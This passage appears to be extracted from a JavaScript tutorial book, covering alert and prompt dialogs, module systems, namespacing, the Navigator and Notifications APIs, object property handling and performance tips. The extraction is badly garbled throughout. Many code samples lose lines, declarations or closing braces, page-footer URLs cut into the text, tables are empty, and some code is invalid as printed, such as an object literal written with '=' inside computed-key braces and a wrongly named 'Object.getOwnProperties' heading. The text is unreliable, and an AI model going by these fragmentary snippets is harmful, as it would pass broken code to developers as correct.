window.print()
print();
When using prompt a user can always click Cancel and no value will be returned.
To prevent empty values and make it more persistent:
<script>
// Persistent Prompt modal
var userName;
while(!userName) {
userName = prompt("Enter your name", "");
if(!userName) {
alert("Please, we need your name!");
} else {
document.getElementById("name").innerHTML = userName;
}
}
</script>
jsFiddle demo
A way to use confirm() is when some UI action does some destructive changes to the page and is
better accompanied by a notification and a user confirmation - like i.e. before deleting a post
message:
<div id="post-102">
<p>I like Confirm modals.</p>
<a data-deletepost="post-102">Delete post</a>
</div>
<div id="post-103">
<p>That's way too cool!</p>
<a data-deletepost="post-103">Delete post</a>
</div>
https://riptutorial.com/ 375
function deleteParentPost(event) {
event.preventDefault(); // Prevent page scroll jump on anchor click
jsFiddle demo
Usage of alert()
The alert() method of the window object displays an alert box with a specified message and an OK
or Cancel button. The text of that button depends on the browser and can't be modified.
Syntax
alert("Hello world!");
// Or, alternatively...
window.alert("Hello world!");
Produces
An alert box is often used if you want to make sure information comes through to the user.
Note: The alert box takes the focus away from the current window, and forces the browser to read
the message. Do not overuse this method, as it prevents the user from accessing other parts of
the page until the box is closed. Also it stops the further code execution, until user clicks OK. (in
particular, the timers which were set with setInterval() or setTimeout() don't tick either). The alert
box only works in browsers, and its design cannot be modified.
Parameter Description
Required. Specifies the text to display in the alert box, or an object converted
message
into a string and displayed.
https://riptutorial.com/ 376
www.dbooks.org
Return value
Usage of prompt()
Prompt will display a dialog to the user requesting their input. You can provide a message that will
be placed above the text field. The return value is a string representing the input provided by the
user.
You can also pass prompt() a second parameter, which will be displayed as the default text in the
prompt's text field.
Parameter Description
message Required. Text to display above the text field of the prompt.
default Optional. Default text to display in the text field when the prompt is displayed.
https://riptutorial.com/ 377
Chapter 66: Modularization Techniques
Examples
Universal Module Definition (UMD)
The UMD (Universal Module Definition) pattern is used when our module needs to be imported by
a number of different module loaders (e.g. AMD, CommonJS).
1. An IIFE (Immediately-Invoked Function Expression) that checks for the module loader that is
being implemented by the user. This will take two arguments; root (a this reference to the
global scope) and factory (the function where we declare our module).
2. An anonymous function that creates our module. This is passed as the second argument to
the IIFE portion of the pattern. This function is passed any number of arguments to specify
the dependencies of the module.
In the below example we check for AMD, then CommonJS. If neither of those loaders are in use
we fall back to making the module and its dependencies available globally.
Immediately invoked function expressions can be used to create a private scope while producing a
public API.
return {
https://riptutorial.com/ 378
www.dbooks.org
getPrivateData: function() {
return privateData;
}
};
})();
Module.getPrivateData(); // 1
Module.privateData; // undefined
AMD is a module definition system that attempts to address some of the common issues with
other systems like CommonJS and anonymous closures.
The key thing here is that a module can have a dependency and not hold everything up while
waiting for it to load, without the developer having to write complicated code.
myModule.version = 1;
myModule.moduleMethod = function() {
// We can still access global variables from here, but it's better
// if we use the passed ones
return privateFn(windowTitle);
};
return myModule;
});
Modules can also skip the name and be anonymous. When that's done, they're usually loaded by
file name.
https://riptutorial.com/ 379
define(["jquery", "lodash"], function($, _) { /* factory */ });
CommonJS - Node.js
The CommonJS system is centered around a require() function that loads other modules and an
exports property that lets modules export publicly accessible methods.
// Load fs and lodash, we can use them anywhere inside the module
var fs = require("fs"),
_ = require("lodash");
You can also export a function as the entire module using module.exports:
module.exports = function() {
return "Hello!";
};
ES6 Modules
In ECMAScript 6, when using the module syntax (import/export), each file becomes its own
module with a private namespace. Top-level functions and variables do not pollute the global
namespace. To expose functions, classes, and variables for other modules to import, you can use
the export keyword.
Note: Although this is the official method for creating JavaScript modules, it is not supported by
any major browsers right now. However, ES6 Modules are supported by many transpilers.
https://riptutorial.com/ 380
www.dbooks.org
export function greet(name) {
console.log("Hello %s!", name);
}
export {myMethod}
Using Modules
Importing modules is as simple as specifying their path:
greet("Bob");
This imports only the myMethod method from our mymodule.js file.
myModule.greet("Alice");
https://riptutorial.com/ 381
Chapter 67: Modules
Syntax
• import defaultMember from 'module';
• import { memberA, memberB, ... } from 'module';
• import * as module from 'module';
• import { memberA as a, memberB, ... } from 'module';
• import defaultMember, * as module from 'module';
• import defaultMember, { moduleA, ... } from 'module';
• import 'module';
Remarks
From MDN (emphasis added):
Many transpilers are able to convert ES6 module syntax into CommonJS for use in the Node
ecosystem, or RequireJS or System.js for use in the browser.
It is also possible to use a module bundler like Browserify to combine a set of inter-dependent
CommonJS modules into a single file which can be loaded in the browser.
Examples
Default exports
// circle.js
export const PI = 3.14;
export default function area(radius) {
return PI * radius * radius;
}
Note that a default export is implicitly equivalent to a named export with the name default, and the
imported binding (circleArea above) is simply an alias. The previous module can be written like
https://riptutorial.com/ 382
www.dbooks.org
console.log(circleArea(4));
You can only have one default export per module. The name of the default export can be omitted.
Sometimes you have a module that you only want to import so its top-level code gets run. This is
useful for polyfills, other globals, or configuration that only runs once when your module is
imported.
console.log('Initializing...')
import './test'
Defining a module
In ECMAScript 6, when using the module syntax (import/export), each file becomes its own module
with a private namespace. Top-level functions and variables do not pollute the global namespace.
To expose functions, classes, and variables for other modules to import, you can use the export
keyword.
// not exported
function somethingPrivate() {
console.log('TOP SECRET')
}
function doSomethingElse(){
console.log("Something else")
}
export {doSomethingElse}
https://riptutorial.com/ 383
export class MyClass {
test() {}
}
Note: ES5 JavaScript files loaded via <script> tags will remain the same when not using import/
export.
Only the values which are explicitly exported will be available outside of the module. Everything
else can be considered private or inaccessible.
Importing this module would yield (assuming the previous code block is in my-module.js):
myModule.PI; // 3.14
myModule.doSomething(); // 'Hello from a module!'
myModule.doSomethingElse(); // 'Something else'
new myModule.MyClass(); // an instance of MyClass
myModule.somethingPrivate(); // This would fail since somethingPrivate was not exported
Given that the module from the Defining a Module section exists in the file test.js, you can import
from that module and use its exported members:
doSomething()
console.log(PI)
The somethingPrivate() method was not exported from the test module, so attempting to import it
will fail:
somethingPrivate()
In addition to importing named members from a module or a module's default export, you can also
import all members into a namespace binding.
test.doSomething()
https://riptutorial.com/ 384
www.dbooks.org
All exported members are now available on the test variable. Non-exported members are not
available, just as they are not available with named member imports.
Note: The path to the module './test' is resolved by the loader and is not covered by the
ECMAScript specification - this could be a string to any resource (a path - relative or absolute - on
a filesystem, a URL to a network resource, or any other string identifier).
Sometimes you may encounter members that have really long member names, such as
thisIsWayTooLongOfAName(). In this case, you can import the member and give it a shorter name to
use in your current module:
shortName()
shortName()
console.log(otherName)
And finally, you can mix import aliases with the normal member import:
shortName()
console.log(PI)
https://riptutorial.com/ 385
Chapter 68: Namespacing
Remarks
In Javascript, there is no notion of namespaces and they are very useful to organizes the code in
various languages. For javascript they help reduce the number of globals required by our
programs and at the same time also help avoid naming collisions or excessive name prefixing.
Instead of polluting the global scope with a lot of functions, objects, and other variables, you can
create one (and ideally only one) global object for your application or library.
Examples
Namespace by direct assignment
//After: just 1 global variable, no function collision and more meaningful function names
var NavigationNs = NavigationNs || {};
NavigationNs.active = function() {}
NavigationNs.pagination = function() {}
NavigationNs.redirection = function() {}
Nested Namespaces
When multiple modules are involved, avoid proliferating global names by creating a single global
namespace. From there, any sub-modules can be added to the global namespace. (Further
nesting will slow down performance and add unnecessary complexity.) Longer names can be used
if name clashes are an issue:
https://riptutorial.com/ 386
www.dbooks.org
Chapter 69: Navigator Object
Syntax
• var userAgent = navigator.userAgent; /* It can simply be assigned to a variable */
Remarks
1. There is no public standard for the Navigator object, however, all major browsers support it.
2. The navigator.product property cannot be considered a reliable way to get the browser's
engine name since most browsers it will return Gecko. Additionally, it is not supported in:
Examples
Get some basic browser data and return it as a JSON object
The following function can be used to get some basic information about the current browser and
return it in JSON format.
function getBrowserInfo() {
var
json = "[{",
https://riptutorial.com/ 387
];
https://riptutorial.com/ 388
www.dbooks.org
Chapter 70: Notifications API
Syntax
• Notification.requestPermission(callback)
• Notification.requestPermission().then(callback, rejectFunc)
• new Notification(title, options)
• notification.close()
Remarks
The Notifications API was designed to allow browser access to notifying the client.
Support by browsers might be limited. Also support by the operating system may be limited.
The following table gives an overview of the earliest browser versions that provide support for
notifications.
Examples
Requesting Permission to send notifications
We use Notification.requestPermission to ask the user if he/she wants to receive notifications from
our website.
Notification.requestPermission(function() {
if (Notification.permission === 'granted') {
// user approved.
// use of new Notification(...) syntax will now be successful
} else if (Notification.permission === 'denied') {
// user denied.
} else { // Notification.permission === 'default'
// user didn’t make a decision.
// You can’t send notifications until they grant permission.
}
});
Since Firefox 47 The .requestPermission method can also return a promise when handling the
user's decision for granting permission
Notification.requestPermission().then(function(permission) {
if (!('permission' in Notification)) {
Notification.permission = permission;
https://riptutorial.com/ 389
}
// you got permission !
}, function(rejection) {
// handle rejection here.
}
);
Sending Notifications
After the user has approved a request for permission to send notifications, we can send a simple
notification that says Hello to the user:
new Notification('Hello', { body: 'Hello, world!', icon: 'url to an .ico image' });
Hello
Hello, world!
Closing a notification
You can utilize the setTimeout function to auto-close the notification sometime in the future.
The above code will spawn a notification and close it after 4 seconds.
Notification events
The Notification API specifications support 2 events that can be fired by a Notification.
This event will run when you click on the notification body (excluding the closing X and the
Notifications configuration button).
Example:
notification.onclick = function(event) {
console.debug("you click me and this is my event object: ", event);
https://riptutorial.com/ 390
www.dbooks.org
}
The notification will fire this event whenever something wrong will happen, like being unable to
display
notification.onerror = function(event) {
console.debug("There was an error: ", event);
}
https://riptutorial.com/ 391
Chapter 71: Objects
Syntax
• object = { }
• object = new Object()
• object = Object.create(prototype[, propertiesObject])
• object.key = value
• object["key"] = value
• object[Symbol()] = value
• object = { key1: value1, "key2": value2, 'key3': value3 }
• object = { conciseMethod() { … } }
• object = { [computed() + "key"]: value }
• Object.defineProperty(obj, propertyName, propertyDescriptor)
• property_desc = Object.getOwnPropertyDescriptor(obj, propertyName)
• Object.freeze(obj)
• Object.seal(obj)
Parameters
Property Description
get A function to be called that will return the value of the property.
Remarks
Objects are collections of key-value pairs, or properties. The keys can be Strings or Symbols, and
values are either primitives (numbers, strings, symbols) or references to other objects.
In JavaScript, a significant amount of values are objects (e.g. functions, arrays) or primitives that
behave as immutable objects (numbers, strings, booleans). Their properties or their prototype's
properties can be accessed using dot (obj.prop) or bracket (obj['prop']) notation. Notable
exceptions are the special values undefined and null.
Objects are held by reference in JavaScript, not by value. This means that when copied or passed
https://riptutorial.com/ 392
www.dbooks.org
as arguments to functions, the "copy" and the original are references to the same object, and a
change to one's properties will change the same property of the other. This does not apply to
primitives, which are immutable and passed by value.
Examples
Object.keys
var obj = {
a: "hello",
b: "this is",
c: "javascript!"
};
Shallow cloning
ES6's Object.assign() function can be used to copy all of the enumerable properties from an
existing Object instance to a new one.
const existing = { a: 1, b: 2, c: 3 };
Object rest/spread destructuring which is currently a stage 3 proposal provides an even simpler
way to create shallow clones of Object instances:
const existing = { a: 1, b: 2, c: 3 };
If you need to support older versions of JavaScript, the most-compatible way to clone an Object is
by manually iterating over its properties and filtering out inherited ones using .hasOwnProperty().
var existing = { a: 1, b: 2, c: 3 };
https://riptutorial.com/ 393
}
}
Object.defineProperty
var obj = { };
console.log(obj.foo);
Console output
foo
Object.defineProperty(obj, 'nameOfTheProperty', {
value: valueOfTheProperty,
writable: true, // if false, the property is read-only
configurable : true, // true means the property can be changed later
enumerable : true // true means property can be enumerated such as in a for..in loop
});
Read-Only property
Using property descriptors we can make a property read only, and any attempt to change it's value
will fail silently, the value will not be changed and no error will be thrown.
The writable property in a property descriptor indicates whether that property can be changed or
not.
https://riptutorial.com/ 394
www.dbooks.org
var a = { };
a.foo = 'new';
console.log(a.foo);
Console output
original
The enumerable property of the property descriptor tells whether that property will be enumerated
while looping through the object's properties.
var obj = { };
Console output
show
A property's descriptor can be locked so no changes can be made to it. It will still be possible to
use the property normally, assigning and retrieving the value from it, but any attempt to redefine it
will throw an exception.
The configurable property of the property descriptor is used to disallow any further changes on the
descriptor.
https://riptutorial.com/ 395
Object.defineProperty(obj, "foo", {writable: true});
Console output
original value
Treat a property as a combination of two functions, one to get the value from it, and another one to
set the value in it.
The get property of the property descriptor is a function that will be called to retrieve the value from
the property.
The set property is also a function, it will be called when the property has been assigned a value,
and the new value will be passed as an argument.
You cannot assign a value or writable to a descriptor that has get or set
person.surname = "Hill";
console.log(person.fullName); // -> "John Hill"
While object property notation is usually written as myObject.property, this will only allow characters
https://riptutorial.com/ 396
www.dbooks.org
that are normally found in JavaScript variable names, which is mainly letters, numbers and
underscore (_).
If you need special characters, such as space, ☺, or user-provided content, this is possible using []
bracket notation.
All-digit properties:
In addition to special characters, property names that are all-digits will require bracket notation.
However, in this case the property need not be written as a string.
However, leading zeros are not recommended as that is interpreted as Octal notation. (TODO, we
should produce and link to an example describing octal, hexadecimal and exponent notation)
Sometimes the property name needs to be stored into a variable. In this example, we ask the user
what word needs to be looked up, and then provide the result from an object I've named
dictionary.
var dictionary = {
lettuce: 'a veggie',
banana: 'a fruit',
tomato: 'it depends on who you ask',
apple: 'a fruit',
Apple: 'Steve Jobs rocks!' // properties are case-sensitive
}
Note how we are using [] bracket notation to look at the variable named word; if we were to use
the traditional . notation, then it would take the value literally, hence:
https://riptutorial.com/ 397
console.log(dictionary[word]) // it works! because word is a variable, and the user perfectly
typed in one of the words from our dictionary when prompted
console.log(dictionary[apple]) // error! apple is not defined (as a variable)
You could also write literal values with [] notation by replacing the variable word with a string
'apple'. See [Properties with special characters or reserved words] example.
You can also set dynamic properties with the bracket syntax:
var property="test";
var obj={
[property]=1;
};
console.log(obj.test);//1
var property="test";
var obj={};
obj[property]=1;
Supposing we created the following object which has some properties you would expect to see in
an Array.
var anObject = {
foo: 'bar',
length: 'interesting',
'0': 'zero!',
'1': 'one!'
};
Now, notice how we can inspect both the object, and the array in the same way.
https://riptutorial.com/ 398
www.dbooks.org
Since anArray is actually an object, just like anObject, we can even add custom wordy properties to
anArray
Disclaimer: Arrays with custom properties are not usually recommended as they can
be confusing, but it can be useful in advanced cases where you need the optimized
functions of an Array. (i.e. jQuery objects)
anObject.length = 2;
Then you can use the C-style for loop to iterate over anObject just as if it were an Array. See Array
Iteration
Note that anObject is only an array-like object. (also known as a List) It is not a true Array. This is
important, because functions like push and forEach (or any convenience function found in
Array.prototype) will not work by default on array-like objects.
Many of the DOM document functions will return a List (i.e. querySelectorAll, form.elements) which is
similar to the array-like anObject we created above. See Converting Array-like Objects to Arrays
Object.freeze
Object.freeze makes an object immutable by preventing the addition of new properties, the
removal of existing properties, and the modification of the enumerability, configurability, and
writability of existing properties. It also prevents the value of existing properties from being
changed. However, it does not work recursively which means that child objects are not
automatically frozen and are subject to change.
The operations following the freeze will fail silently unless the code is running in strict mode. If the
code is in strict mode, a TypeError will be thrown.
var obj = {
foo: 'foo',
bar: [1, 2, 3],
baz: {
foo: 'nested-foo'
}
};
Object.freeze(obj);
https://riptutorial.com/ 399
// Cannot add new properties
obj.newProperty = true;
Object.seal
Object.sealprevents the addition or removal of properties from an object. Once an object has
been sealed its property descriptors can't be converted to another type. Unlike Object.freeze it
does allow properties to be edited.
Object.seal(obj)
obj.newFoo = 'newFoo';
obj.bar = function () { return 'foo' };
obj.newFoo; // undefined
obj.bar(); // 'foo'
obj.foo = 'newFoo';
obj.foo; // 'foo';
(function () {
'use strict';
https://riptutorial.com/ 400
www.dbooks.org
Object.seal(obj);
Console output
One
Object spreading is just syntactic sugar for Object.assign({}, obj1, ..., objn);
let obj = { a: 1 };
https://riptutorial.com/ 401
console.log(obj2); // { a: 1, b: 2, c: 3 };
console.log(obj3); // { a: 1, b: { c: 2 } };
Properties are members of an object. Each named property is a pair of (name, descriptor). The
name is a string that allows access (using the dot notation object.propertyName or the square
brackets notation object['propertyName']). The descriptor is a record of fields defining the
bevahiour of the property when it is accessed (what happens to the property and what is the value
returned from accessing it). By and large, a property associates a name to a behaviour (we can
think of the behaviour as a black box).
Demonstration:
//*actually whether an assignment would take place in the case of a data property
//also depends on the presence and value of the writable field - on that later on
The property's type is determined by its descriptor's fields, and a property cannot be of both types.
Data descriptors -
Sample:
{
value: 10,
writable: true;
}
Accessor descriptors -
https://riptutorial.com/ 402
www.dbooks.org
• Required fields: get or set or both
• Optional fields: configurable, enumerable
Sample:
{
get: function () {
return 10;
},
enumerable: true
}
value:
Example:
https://riptutorial.com/ 403
}});
//propertyName1 is the name of obj's data property
//and propertyName2 is the name of its accessor property
obj.propertyName1 = 3;
console.log(obj.propertyName1); //3
obj.propertyName2 = 3; //and this will be logged every time propertyName2's value is tried to
be set
console.log(obj.propertyName2); //this will be logged every time propertyName2 is accessed to
get its value
Object.getOwnPropertyDescriptor
var sampleObject = {
hello: 'world'
};
Object.getOwnPropertyDescriptor(sampleObject, 'hello');
// Object {value: "world", writable: true, enumerable: true, configurable: true}
Object cloning
When you want a complete copy of an object (i.e. the object properties and the values inside those
properties, etc...), that is called deep cloning.
5.1
If an object can be serialized to JSON, then you can create a deep clone of it with a combination
of JSON.parse and JSON.stringify:
var existing = { a: 1, b: { c: 2 } };
var copy = JSON.parse(JSON.stringify(existing));
existing.b.c = 3; // copy.b.c will not change
Note that JSON.stringify will convert Date objects to ISO-format string representations, but
JSON.parse will not convert the string back into a Date.
There is no built-in function in JavaScript for creating deep clones, and it is not possible in general
to create deep clones for every object for many reasons. For example,
• objects can have non-enumerable and hidden properties which cannot be detected.
• object getters and setters cannot be copied.
• objects can have a cyclic structure.
• function properties can depend on state in a hidden scope.
https://riptutorial.com/ 404
www.dbooks.org
Assuming that you have a "nice" object whose properties only contain primitive values, dates,
arrays, or other "nice" objects, then the following function can be used for making deep clones. It
is a recursive function that can detect objects with a cyclic structure and will throw an error in such
cases.
function deepClone(obj) {
function clone(obj, traversedObjects) {
var copy;
// primitive types
if(obj === null || typeof obj !== "object") {
return obj;
}
// detect cycles
for(var i = 0; i < traversedObjects.length; i++) {
if(traversedObjects[i] === obj) {
throw new Error("Cannot clone circular object.");
}
}
// dates
if(obj instanceof Date) {
copy = new Date();
copy.setTime(obj.getTime());
return copy;
}
// arrays
if(obj instanceof Array) {
copy = [];
for(var i = 0; i < obj.length; i++) {
copy.push(clone(obj[i], traversedObjects.concat(obj)));
}
return copy;
}
// simple objects
if(obj instanceof Object) {
copy = {};
for(var key in obj) {
if(obj.hasOwnProperty(key)) {
copy[key] = clone(obj[key], traversedObjects.concat(obj));
}
}
return copy;
}
throw new Error("Not a cloneable object.");
}
Object.assign
The Object.assign() method is used to copy the values of all enumerable own properties from one
or more source objects to a target object. It will return the target object.
https://riptutorial.com/ 405
var user = {
firstName: "John"
};
var obj1 = {
a: 1
};
var obj2 = {
b: 2
};
var obj3 = {
c: 3
};
var obj = Object.assign(obj1, obj2, obj3);
console.log(obj); // Logs: { a: 1, b: 2, c: 3 }
console.log(obj1); // Logs: { a: 1, b: 2, c: 3 }, target object itself is changed
You can access each property that belongs to an object with this loop
https://riptutorial.com/ 406
www.dbooks.org
}
}
You should include the additional check for hasOwnProperty because an object may have properties
that are inherited from the object's base class. Not performing this check can raise errors.
You can also use Object.keys function which return an Array containing all properties of an object
and then you can loop through this array with Array.map or Array.forEach function.
Object.keys(obj).map(function(key) {
console.log(key);
});
// outputs: 0, 1, 2
Characteristics of properties :
Properties that can be retrieved from an object could have the following characteristics,
• Enumerable
• Non - Enumerable
• own
While creating the properties using Object.defineProperty(ies), we could set its characteristics
except "own". Properties which are available in the direct level not in the prototype level (__proto__
) of an object are called as own properties.
And the properties that are added into an object without using Object.defindProperty(ies) will don't
have its enumerable characteristic. That means it be considered as true.
Purpose of enumerability :
The main purpose of setting enumerable characteristics to a property is to make the particular
property's availability when retrieving it from its object, by using different programmatical methods.
Those different methods will be discussed deeply below.
1. for..in loop
This loop is very useful in retrieving enumerable properties from an object. Additionally this
https://riptutorial.com/ 407
loop will retrieve enumerable own properties as well as it will do the same retrieval by
traversing through the prototype chain until it sees the prototype as null.
for(prop in x){
props.push(prop);
}
console.log(props); //["a","b"]
for(prop in x){
props.push(prop);
}
console.log(props); //["a","b"]
for(prop in x){
props.push(prop);
}
console.log(props); //["a"]
2. Object.keys() function
This function was unveiled as a part of EcmaScript 5. It is used to retrieve enumerable own
properties from an object. Prior to its release people used to retrieve own properties from an
object by combining for..in loop and Object.prototype.hasOwnProperty() function.
props = Object.keys(x);
console.log(props); //["a","b"]
props = Object.keys(x);
console.log(props); //["a"]
props = Object.keys(x);
console.log(props); //["a"]
https://riptutorial.com/ 408
www.dbooks.org
3. Object.getOwnProperties() function
This function will retrieve both enumerable and non enumerable, own properties from an
object. It was also released as a part of EcmaScript 5.
props = Object.getOwnPropertyNames(x);
console.log(props); //["a","b"]
props = Object.getOwnPropertyNames(x);
console.log(props); //["a"]
props = Object.getOwnPropertyNames(x);
Miscellaneous :
A technique for retrieving all (own, enumerable, non enumerable, all prototype level) properties
from an object is given below,
var obj = {
a: "hello",
b: "this is",
https://riptutorial.com/ 409
c: "javascript!",
};
The proposed Object.entries() method returns an array of key/value pairs for the given object. It
does not return an iterator like Array.prototype.entries(), but the Array returned by
Object.entries() can be iterated regardless.
const obj = {
one: 1,
two: 2,
three: 3
};
Object.entries(obj);
Results in:
[
["one", 1],
["two", 2],
["three", 3]
]
Object.values()
The Object.values() method returns an array of a given object's own enumerable property values,
in the same order as that provided by a for...in loop (the difference being that a for-in loop
enumerates properties in the prototype chain as well).
https://riptutorial.com/ 410
www.dbooks.org
var obj = { 0: 'a', 1: 'b', 2: 'c' };
console.log(Object.values(obj)); // ['a', 'b', 'c']
Note:
https://riptutorial.com/ 411
Chapter 72: Performance Tips
Introduction
JavaScript, like any language, requires us to be judicious in the use of certain language features.
Overuse of some features can decrease performance, while some techniques can be used to
increase performance.
Remarks
Remember that premature optimization is the root of all evil. Write clear, correct code first, then if
you have performance problems, use a profiler to look for specific areas to improve. Don't waste
time optimizing code that's not affecting the overall performance in a meaningful way.
Measure, measure, measure. Performance can often be counterintuitive, and changes over time.
What's faster now might not be in the future, and can depend on your use case. Make sure any
optimizations you make are actually improving, not hurting performance, and that the change is
worthwhile.
Examples
Avoid try/catch in performance-critical functions
Some JavaScript engines (for example, the current version of Node.js and older versions of
Chrome before Ignition+turbofan) don't run the optimizer on functions that contain a try/catch
block.
If you need to handle exceptions in performance-critical code, it can be faster in some cases to
keep the try/catch in a separate function. For example, this function will not be optimized by some
implementations:
function myPerformanceCriticalFunction() {
try {
// do complex calculations here
} catch (e) {
console.log(e);
}
}
However, you can refactor to move the slow code into a separate function (that can be optimized)
and call it from inside the try block.
https://riptutorial.com/ 412
www.dbooks.org
// Still not always optimized, but it's not doing much so the performance doesn't matter
function myPerformanceCriticalFunction() {
try {
doCalculations();
} catch (e) {
console.log(e);
}
}
Note that optimizations like this should be made carefully and with actual evidence based on
profiling your code. As JavaScript engines get better, it could end up hurting performance instead
of helping, or making no difference at all (but complicating the code for no reason). Whether it
helps, hurts, or makes no difference can depend on a lot of factors, so always measure the effects
on your code. That's true of all optimizations, but especially micro-optimizations like this that
depend on low-level details of the compiler/runtime.
If you are building a function that may be heavy on the processor (either clientside or serverside)
you may want to consider a memoizer which is a cache of previous function executions and their
returned values. This allows you to check if the parameters of a function were passed before.
Remember, pure functions are those that given an input, return a corresponding unique output and
don't cause side-effects outside their scope so, you should not add memoizers to functions that
are unpredictable or depend on external resources (like AJAX calls or randomly returned values).
function fact(num) {
return (num === 0)? 1 : num * fact(num - 1);
}
If I pass small values from 1 to 100 for example, there would be no problem, but once we start
going deeper, we might blow up the call stack or make the process a bit painful for the Javascript
engine we're doing this in, especially if the engine doesn't count with tail-call optimization
(although Douglas Crockford says that native ES6 has tail-call optimization included).
We could hard code our own dictionary from 1 to god-knows-what number with their
corresponding factorials but, I'm not sure if I advise that! Let's create a memoizer, shall we?
https://riptutorial.com/ 413
return cache[val]; // return cached
} else {
cache[val] = factorial(val); // we cache it
return cache[val]; // and then return it
}
Now that I start to reflect on what I did, if I were to increment from 1 instead of decrement from
num, I could have cached all of the factorials from 1 to num in the cache recursively, but I will
leave that for you.
This is great but what if we have multiple parameters? This is a problem? Not quite, we can do
some nice tricks like using JSON.stringify() on the arguments array or even a list of values that the
function will depend on (for object-oriented approaches). This is done to generate a unique key
with all the arguments and dependencies included.
We can also create a function that "memoizes" other functions, using the same scope concept as
before (returning a new function that uses the original and has access to the cache object):
WARNING: ES6 syntax, if you don't like it, replace ... with nothing and use the var args =
Array.prototype.slice.call(null, arguments); trick; replace const and let with var, and the other
things you already know.
function memoize(func) {
let cache = {};
https://riptutorial.com/ 414
www.dbooks.org
const argsKey = JSON.stringify(args);
Now notice that this will work for multiple arguments but won't be of much use in object-oriented
methods I think, you may need an extra object for dependencies. Also, func.apply(null, args) can
be replaced with func(...args) since array destructuring will send them separately instead of as an
array form. Also, just for reference, passing an array as an argument to func won't work unless
you use Function.prototype.apply as I did.
Most performance tips are very dependent of the current state of JS engines and are expected to
be only relevant at a given time. The fundamental law of performance optimization is that you must
first measure before trying to optimize, and measure again after a presumed optimization.
To measure code execution time, you can use different time measurement tools like:
Performance interface that represents timing-related performance information for the given page
(only available in browsers).
process.hrtime on Node.js gives you timing information as [seconds, nanoseconds] tuples. Called
without argument it returns an arbitrary time but called with a previously returned value as
argument it returns the difference between the two executions.
Console timers console.time("labelName") starts a timer you can use to track how long an
operation takes. You give each timer a unique label name, and may have up to 10,000 timers
running on a given page. When you call console.timeEnd("labelName") with the same name, the
browser will finish the timer for given name and output the time in milliseconds, that elapsed since
https://riptutorial.com/ 415
the timer was started. The strings passed to time() and timeEnd() must match otherwise the timer
will not finish.
In this example we are going to calculate the elapsed time for the execution of our function, and
we are going to use the Performance.now() method that returns a DOMHighResTimeStamp,
measured in milliseconds, accurate to one thousandth of a millisecond.
function myFunction() {
//Slow code you want to measure
}
Usage of performance.now() has the highest precision in browsers with accuracy to one thousandth
of a millisecond, but the lowest compatibility.
In this example we are going to calculate the elapsed time for the initialization of a big array (1
million values), and we are going to use the Date.now() method
let t0 = Date.now(); //stores current Timestamp in milliseconds since 1 January 1970 00:00:00
UTC
let arr = []; //store empty array
for (let i = 0; i < 1000000; i++) { //1 million iterations
arr.push(i); //push current i value
}
console.log(Date.now() - t0); //print elapsed time between stored t0 and now
https://riptutorial.com/ 416
www.dbooks.org
In this example we are doing the same task as in Example 2, but we are going to use the
console.time("label") & console.timeEnd("label") methods
In Node.js programs this is the most precise way to measure spent time.
Javascript engines first look for variables within the local scope before extending their search to
larger scopes. If the variable is an indexed value in an array, or an attribute in an associative
array, it will first look for the parent array before it finds the contents.
This has implications when working with performance-critical code. Take for instance a common
for loop:
var global_variable = 0;
function foo(){
global_variable = 0;
for (var i=0; i<items.length; i++) {
global_variable += items[i];
}
}
For every iteration in for loop, the engine will lookup items, lookup the length attribute within items,
lookup items again, lookup the value at index i of items, and then finally lookup global_variable,
first trying the local scope before checking the global scope.
function foo(){
var local_variable = 0;
for (var i=0, li=items.length; i<li; i++) {
local_variable += items[i];
}
return local_variable;
}
https://riptutorial.com/ 417
For every iteration in the rewritten for loop, the engine will lookup li, lookup items, lookup the
value at index i, and lookup local_variable, this time only needing to check the local scope.
Example A
var i,a,b,len;
a = {x:0,y:0}
function test(){ // return object created each call
return {x:0,y:0};
}
function test1(a){ // return object supplied
a.x=0;
a.y=0;
return a;
}
It is very inefficient to create a new object in performance code. Loop A calls function test() which
returns a new object every call. The created object is discarded every iteration, Loop B calls
test1() that requires the object returns to be supplied. It thus uses the same object and avoids
allocation of a new object, and excessive GC hits. (GC were not included in the performance test)
Example B
var i,a,b,len;
a = {x:0,y:0}
function test2(a){
return {x : a.x * 10,y : a.x * 10};
}
function test3(a){
a.x= a.x * 10;
a.y= a.y * 10;
return a;
}
for(i = 0; i < 100; i++){ // Loop A
b = test2({x : 10, y : 10});
}
for(i = 0; i < 100; i++){ // Loop B
a.x = 10;
a.y = 10;
b = test3(a);
}
https://riptutorial.com/ 418
www.dbooks.org
Limit DOM Updates
A common mistake seen in JavaScript when run in a browser environment is updating the DOM
more often than necessary.
The issue here is that every update in the DOM interface causes the browser to re-render the
screen. If an update changes the layout of an element in the page, the entire page layout needs to
be re-computed, and this is very performance-heavy even in the simplest of cases. The process of
re-drawing a page is known as reflow and can cause a browser to run slowly or even become
unresponsive.
The consequence of updating the document too frequently is illustrated with the following example
of adding items to a list.
<!DOCTYPE html>
<html>
<body>
<ul id="list"></ul>
</body>
</html>
We add 5000 items to the list looping 5000 times (you can try this with a larger number on a
powerful computer to increase the effect).
In this case, the performance can be improved by batching all 5000 changes in one single DOM
update.
https://riptutorial.com/ 419
i++;
}
list.appendChild(fragment);
All modern JavaScript JIT compilers trying to optimize code based on expected object structures.
Some tip from mdn.
Fortunately, the objects and properties are often "predictable", and in such cases their
underlying structure can also be predictable. JITs can rely on this to make predictable
accesses faster.
The best way to make object predictable is to define a whole structure in a constructor. So if you're
going to add some extra properties after object creation, define them in a constructor with null.
This will help the optimizer to predict object behavior for its whole life cycle. However all compilers
have different optimizers, and the performance increase can be different, but overall it's good
practice to define all properties in a constructor, even when their value is not yet known.
Time for some testing. In my test, I'm creating a big array of some class instances with a for loop.
Within the loop, I'm assigning the same string to all object's "x" property before array initialization.
If constructor initializes "x" property with null, array always processes better even if it's doing extra
statement.
This is code:
function f1() {
var P = function () {
this.value = 1
};
var big_array = new Array(10000000).fill(1).map((x, index)=> {
p = new P();
if (index > 5000000) {
p.x = "some_string";
}
return p;
});
big_array.reduce((sum, p)=> sum + p.value, 0);
}
function f2() {
var P = function () {
this.value = 1;
this.x = null;
};
var big_array = new Array(10000000).fill(1).map((x, index)=> {
p = new P();
if (index > 5000000) {
p.x = "some_string";
}
return p;
});
https://riptutorial.com/ 420
www.dbooks.org
big_array.reduce((sum, p)=> sum + p.value, 0);
}
(function perform(){
var start = performance.now();
f1();
var duration = performance.now() - start;
start = performance.now();
f2();
duration = performance.now() - start;
FireFox Chrome
--------------------------
f1 6,400 11,400
f2 1,700 9,600
As we can see, the performance improvements are very different between the two.
